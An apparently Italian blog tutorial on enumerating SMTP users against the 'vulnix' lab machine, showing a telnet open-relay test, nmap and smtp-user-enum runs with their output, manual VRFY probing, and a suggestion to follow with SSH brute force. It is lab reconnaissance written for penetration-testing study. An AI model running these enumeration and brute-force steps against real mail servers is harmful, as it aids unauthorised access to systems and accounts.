Simple Mail Transfer Protocol è il protocollo standard utilizzato per la trasmissione via internet di e-mail.
Durante una scansione delle porte di un server è facile trovare il servizio aperto, ma non è altrettanto facile trovarne vulnerabilità. In questo articolo vedremo alcune modalità per eseguire l’enumerazione di utenti attivi su di esso.
I principali protocolli di porta sono tre:
Per chi volesse approfondire, qui vengono descrittti i principali protocolli.
La verifica che il servizio sia attivo viene fatta in fase di scansione; per cui se dopo una scansione della rete la porta 25 è aperta (ma può essere diversa), l’host attaccato avrà il servizio attivo
Una volta trovato, possiamo utilizzare alcuni comandi per verificare se è possibile utilizzare il server come relay, ossia sfruttarlo per inviare e-mail in maniera anonima
┌─[mrtouch@parrot]─[~]
└──╼ $telnet 192.168.1.125 25
Trying 192.168.1.125...
Connected to 192.168.1.125.
Escape character is '^]'.
220 vulnix ESMTP Postfix (Ubuntu)
HELO 192.168.1.109
250 vulnix
MAIL FROM:wbe@mail.com
250 2.1.0 Ok
RCPT TO:me@mail.it
554 5.7.1 <me@mail.it>: Relay access denied
Altri modi per testare questa malconfigurazione possono essere:
Una volta accertato che non è vulnerabile, passiamo all’enumerazione degli utenti; per eseguire questa operazione ci sono essere diversi modi, sia con tool automatici sia con comandi manuali.
Nmap, come di consueto, ha uno script apposito per l’enumerazione degli utenti, smtp-enum-users:
─[mrtouch@parrot]─[~]
└──╼ $nmap --script smtp-enum-users -p 25 192.168.1.125
Starting Nmap 7.60 ( https://nmap.org ) at 2017-10-14 22:56 CEST
Nmap scan report for 192.168.1.125
Host is up (0.00034s latency).
PORT STATE SERVICE
25/tcp open smtp
| smtp-enum-users:
|_ Method RCPT returned a unhandled status code.
Nmap done: 1 IP address (1 host up) scanned in 0.39 seconds
Ma in questo caso sembra non funzionare.
Passo quindi a metasploit, con il modulosmtp_enum
Bingo! Abbiamo trovato diversi utenti attivi sul servizio.
Un’altra modalità è il software smtp-user-enum:
┌─[mrtouch@parrot]─[~]
└──╼ $smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.1.125
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/metasploit-framework/data/wordlists/unix_users.txt
Target count ............. 1
Username count ........... 113
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
####### Scan started at Sat Oct 14 23:03:04 2017 #########
192.168.1.125: ROOT exists
192.168.1.125: backup exists
192.168.1.125: bin exists
.................
192.168.1.125: user exists
192.168.1.125: www-data exists
192.168.1.125: vulnix exists
####### Scan completed at Sat Oct 14 23:03:05 2017 #########
26 results.
113 queries in 1 seconds (113.0 queries / sec)
Nel caso si volesse provare manualmente, è possibile utilizzare telnet
┌─[mrtouch@parrot]─[~]
└──╼ $telnet 192.168.1.125 25
Trying 192.168.1.125...
Connected to 192.168.1.125.
Escape character is '^]'.
220 vulnix ESMTP Postfix (Ubuntu)
vrfy ROOT.localdomain
550 5.1.1 : Recipient address rejected: User unknown in local recipient table
vrfy root.localdomain
550 5.1.1 : Recipient address rejected: User unknown in local recipient table
vrfy root
252 2.0.0 root
vrfy hacktips
550 5.1.1 : Recipient address rejected: User unknown in local recipient table
vrfy sys
252 2.0.0 sys
vrfy vulnix
252 2.0.0 vulnix
In queso modo abbiamo identificato almeno tre account disponibili (il comando vrfy chiede al server se il determinato utente richiesto è valido).
Una volta identificati gli utenti possiamo passare alla prossima fase, ossia quella dello scanning di altri servizi, utilizzando le informazioni raccolte fin’ora o eseguire direttamente un bruteforce sul servizio ssh, avendo già scoperto alcuni utenti del sistema.
Per chi se lo fosse chiesto, la macchina che ho utilizzato è vulnix, mentre per chi volesse approfondire attacchi a SMTP, consiglio SMTP - Always a victim of good time (SANS) e SMTP Injection via recipient email addresses.